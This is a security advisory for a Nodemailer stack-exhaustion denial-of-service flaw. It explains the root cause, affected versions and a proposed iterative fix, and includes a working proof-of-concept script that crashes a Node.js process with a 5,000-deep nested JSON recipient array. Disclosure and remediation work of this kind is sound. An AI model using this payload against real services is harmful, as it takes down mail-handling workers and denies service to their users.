Skip to content

GHSA-8vvx-rff5-p5rq CVE-2026-100702

Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS

High npm
Severity
8.2 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.25%
Chance of exploitation in the next 30 days. Higher than 16.41% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-674 Uncontrolled Recursion
Fix
10.0.2
Upgrade nodemailer to this version or later

Description

Submission metadata

Field Value
Ecosystem npm
Package nodemailer
Repository https://github.com/nodemailer/nodemailer
Tested commit 40d52215aac65b811d7e131bc916f68605efd9d2
Current tested version 10.0.1
Confirmed vulnerable versions 2.7.2, 3.0.0, 7.0.11, 9.1.1, 10.0.1
Proposed affected range >= 2.7.2, <= 10.0.1
Patched version 10.0.2

Summary

Nodemailer 10.0.1 does not safely process deeply nested arrays supplied through recipient fields such as to, cc, and bcc.

The public MimeNodeAddressInput type recursively permits arrays, but MimeNode._parseAddresses() flattens only the outermost array. A remaining nested array is passed to addressparser(), whose Tokenizer coerces the input with .toString(). Native Array.prototype.toString() recursively processes every nested array through join() and toString() until the V8 call stack is exhausted.

A valid 10,021-byte JSON recipient value containing one address wrapped in 5,000 arrays causes:

RangeError: Maximum call stack size exceeded

The exception occurs through the normal sendMail() API before the maxRecipients limit is evaluated. If the integrating application does not catch the synchronous exception around the complete sendMail() invocation, the Node.js worker or server process terminates.

No SMTP server, remote host, large attachment, or successful email delivery is required.

This is distinct from GHSA-rcmh-qjqh-p98v / CVE-2025-14874. The previous vulnerability concerned recursive parsing of RFC 5322 group strings. This report uses Nodemailer's structured recipient-array input and never reaches the parser's MAX_NESTED_GROUP_DEPTH protection.

Security impact

An attacker who can control a recipient field passed to Nodemailer can trigger stack exhaustion using a roughly 10 KB JSON value. Potentially affected integrations include:

  • Email-sending HTTP APIs that accept structured recipient values.
  • Notification workers consuming JSON jobs from a queue.
  • Template or automation systems that forward parsed recipient data to sendMail().
  • Multi-tenant applications that allow users to configure message recipients.

When the exception is not caught, a single request or queue item can terminate the process handling mail. A process manager may restart the worker, but repeated malicious inputs can keep workers in a restart loop and make the service unavailable.

Applications that explicitly validate recipient values as flat strings or flat arrays before calling Nodemailer are not exposed through this path. Applications that wrap the complete synchronous sendMail() invocation in exception handling can prevent process termination, although an attacker can still repeatedly force failed jobs.

Attack prerequisites

The vulnerability is reachable when:

  1. An application accepts attacker-controlled or partially attacker-controlled recipient data.
  2. The application preserves the array structure after parsing JSON.
  3. The resulting value is passed to a Nodemailer recipient field such as to, cc, or bcc.
  4. The application does not impose its own nesting-depth limit before calling Nodemailer.

The proof of concept uses jsonTransport only to avoid requiring an SMTP server. The vulnerable address normalization and envelope construction occur before transport-specific delivery, so the root cause is not limited to jsonTransport.

Technical details

1. The public input type accepts recursively nested arrays

At src/mime-node/index.ts:67, recipient input is recursively defined:

export type MimeNodeAddressInput = string | MimeNodeAddress | MimeNodeAddressInput[];

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L67

This permits values equivalent to:

[[[[['victim@example.test']]]]]

2. _parseAddresses() removes only the outermost array

At src/mime-node/index.ts:1359-1385, _parseAddresses() wraps the input with [].concat(addresses) and iterates the resulting outer array:

_parseAddresses(addresses: MimeNodeAddressInput | undefined): MimeNodeAddress[] {
    const flattened: MimeNodeAddress[] = [];

    ([] as any[]).concat(addresses).forEach(address => {
        if (address && address.address) {
            const normalized = this._normalizeAddress(address.address);
            // ...
            return;
        }

        const parsed = this._normalizeParsedAddresses(addressparser(address));
        for (let i = 0; i < parsed.length; i++) {
            flattened.push(parsed[i]);
        }
    });

    return flattened;
}

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L1359-L1386

For an input nested 5,000 levels deep, the callback receives an array nested 4,999 levels deep. Because this value does not have a truthy .address property, it is passed directly to addressparser().

3. Tokenizer invokes recursive native array conversion

The Tokenizer constructor performs the following coercion at src/addressparser/index.ts:393:

this.str = (str || '').toString();

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/addressparser/index.ts#L393

When str is an array, this invokes Array.prototype.toString(). Array string conversion invokes join(), which converts every nested element to a string. Deeply nested arrays therefore produce native recursion resembling:

Array.toString
  -> Array.join
     -> childArray.toString
        -> Array.join
           -> childArray.toString
              -> ...

At sufficient depth, V8 raises RangeError: Maximum call stack size exceeded.

4. The recipient limit is applied too late

Nodemailer's maxRecipients protection is evaluated only after the message envelope has been constructed:

const recipientCount = mail.message.getEnvelope().to.length;

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417

The exception occurs inside getEnvelope(), so maxRecipients cannot prevent this condition.

Vulnerable code path

transporter.sendMail(message)
  -> MailComposer(mail.data).compile()
  -> mail.message.getEnvelope()
  -> MimeNode._parseAddresses(message.to)
  -> addressparser(nestedArray)
  -> new Tokenizer(nestedArray)
  -> nestedArray.toString()
  -> Array.join / Array.toString recursion
  -> RangeError: Maximum call stack size exceeded

Proof of concept

Test environment

Operating system: Windows 11
Node.js: 20.20.2
Nodemailer: 10.0.1
Nodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2
Transport: jsonTransport

Installation

mkdir nodemailer-nested-array-poc
cd nodemailer-nested-array-poc
npm init -y
npm install nodemailer@10.0.1

Create poc.mjs:

import nodemailer from 'nodemailer';

const depth = Number(process.argv[2] || 5000);

// Valid JSON containing one address wrapped in `depth` arrays.
const json =
    '['.repeat(depth) +
    '"victim@example.test"' +
    ']'.repeat(depth);

const recipient = JSON.parse(json);

console.log({
    nodemailerVersion: '10.0.1',
    depth,
    jsonBytes: Buffer.byteLength(json)
});

const transport = nodemailer.createTransport({
    jsonTransport: true
});

await transport.sendMail({
    from: 'sender@example.test',
    to: recipient,
    subject: 'Nested recipient array PoC',
    text: 'test'
});

console.log('sendMail resolved');

Trigger

node poc.mjs 5000

Observed result

{
  nodemailerVersion: '10.0.1',
  depth: 5000,
  jsonBytes: 10021
}

node:internal/modules/run_main:123
    triggerUncaughtException(
    ^

RangeError: Maximum call stack size exceeded
    at Array.join (<anonymous>)
    at Array.toString (<anonymous>)
    at Array.join (<anonymous>)
    at Array.toString (<anonymous>)
    at Array.join (<anonymous>)
    at Array.toString (<anonymous>)
    ...

Node.js v20.20.2

The tested process exits with status code 1.

Control case

Running the same code with a nesting depth of 500 succeeds:

node poc.mjs 500

Observed result:

{
  nodemailerVersion: '10.0.1',
  depth: 500,
  jsonBytes: 1021
}

sendMail resolved

The difference between the trigger and control cases is only the nesting depth.

Reproduction notes

  • The exact failure depth is platform and runtime dependent because JavaScript stack limits vary.
  • A depth of 5,000 reliably reproduced the exception in the tested Node.js environment.
  • The payload is generated as JSON and parsed with native JSON.parse() to model data received by an HTTP API or queue worker.
  • No network connection is performed because jsonTransport is used.

Version verification

The proof of concept was executed against several released versions. Each listed version exited with RangeError: Maximum call stack size exceeded at a depth of 5,000:

Nodemailer version Result
2.7.2 Vulnerable
3.0.0 Vulnerable
7.0.11 Vulnerable
9.1.1 Vulnerable
10.0.1 Vulnerable

Version 7.0.11 is significant because it contains the fix for the previous string-group recursion advisory. Its failure confirms that this report describes a separate surviving path.

The proposed affected range is >= 2.7.2, <= 10.0.1, representing the versions directly confirmed during testing and the continuous vulnerable implementation observed in source history. Earlier releases were not assessed and should not be considered confirmed safe.

Difference from GHSA-rcmh-qjqh-p98v / CVE-2025-14874

The previous advisory used a crafted address string containing nested RFC 5322 groups:

g0: g1: g2: ... victim@example.com;

Its recursive path was:

addressparser(string)
  -> _handleAddress()
  -> addressparser(nested group string)

That issue was mitigated by adding and propagating a parser recursion-depth counter capped by MAX_NESTED_GROUP_DEPTH.

This report instead supplies a structured JSON array through the public recipient input:

MimeNode._parseAddresses(array)
  -> addressparser(array)
  -> Tokenizer
  -> Array.prototype.toString()

The array conversion happens before any RFC 5322 group parsing. Consequently:

  • No sequence of nested group delimiters is required.
  • _handleAddress() is not the source of recursion.
  • The _depth parser option is not incremented.
  • MAX_NESTED_GROUP_DEPTH is never consulted.
  • Releases containing the previous fix remain vulnerable.

Previous advisory:

https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v

Suggested remediation

Flatten MimeNodeAddressInput values iteratively before passing scalar values to addressparser(). Nested arrays should never be implicitly converted to strings.

For example, the implementation can maintain an explicit work stack:

const pending: unknown[] = [addresses];
const seenArrays = new WeakSet<object>();

while (pending.length) {
    const value = pending.pop();

    if (Array.isArray(value)) {
        if (seenArrays.has(value)) {
            throw new TypeError('Cyclic recipient array');
        }
        seenArrays.add(value);

        for (let i = value.length - 1; i >= 0; i--) {
            pending.push(value[i]);
        }
        continue;
    }

    // Process only scalar strings and structured address objects here.
}

Additional hardening options include:

  1. Reject array nesting above an explicit maximum before any coercion.
  2. Reject unsupported recipient value types instead of passing them to addressparser().
  3. Catch address-normalization exceptions and report them through the normal sendMail() callback or rejected Promise.
  4. Apply input-complexity checks before constructing the envelope and before evaluating maxRecipients.

An iterative implementation is preferable because the public TypeScript type is recursive and indicates that nested array structures are accepted inputs. Cycle detection remains necessary for direct JavaScript callers because cyclic arrays cannot originate from JSON but can be constructed in memory.

Suggested regression tests

The fix should cover:

  1. Deeply nested arrays containing one valid address, completing iteratively or failing with a controlled Nodemailer error.
  2. Nested inputs through to, cc, bcc, replyTo, and explicit envelope fields.
  3. A cyclic JavaScript recipient array.
  4. Ordinary flat strings and arrays, preserving existing behavior.
  5. Arrays containing structured { name, address } objects.
  6. Confirmation that failures reach the callback or rejected Promise instead of escaping the documented error path.

Affected versions

npm

PackageVulnerableFixed in
nodemailer
< 10.0.2
10.0.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nodemailer npm → 10.0.2

npm
npm install nodemailer@10.0.2
yarn
yarn add nodemailer@10.0.2
pnpm
pnpm add nodemailer@10.0.2

Severity breakdown

CVSS 4.0 8.2

CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
High
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-674: Uncontrolled Recursion

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

How to prevent it
  • Implementation: Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.
  • Implementation: Increase the stack size.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8c8m-p3m8-cjg8
Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient
Medium Also affects nodemailer
GHSA-m943-m63m-w62w
Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient
Medium Also affects nodemailer
GHSA-85x2-q946-cp5h
Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name
Medium Also affects nodemailer
GHSA-4g23-2xm8-66gc
Nodemailer: Quadratic (O(n^2)) SMTP client reply parsing lets a malicious server or MITM cause a pre-auth remote denial of service
High Also affects nodemailer
GHSA-39m8-27wv-hr27
Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing
High Also affects nodemailer
GHSA-g73g-hqqh-jr95
Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped
Medium Also affects nodemailer
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Also affects nodemailer
GHSA-6vj9-mwq6-2f5v
Nodemailer: Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure
Medium Also affects nodemailer
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor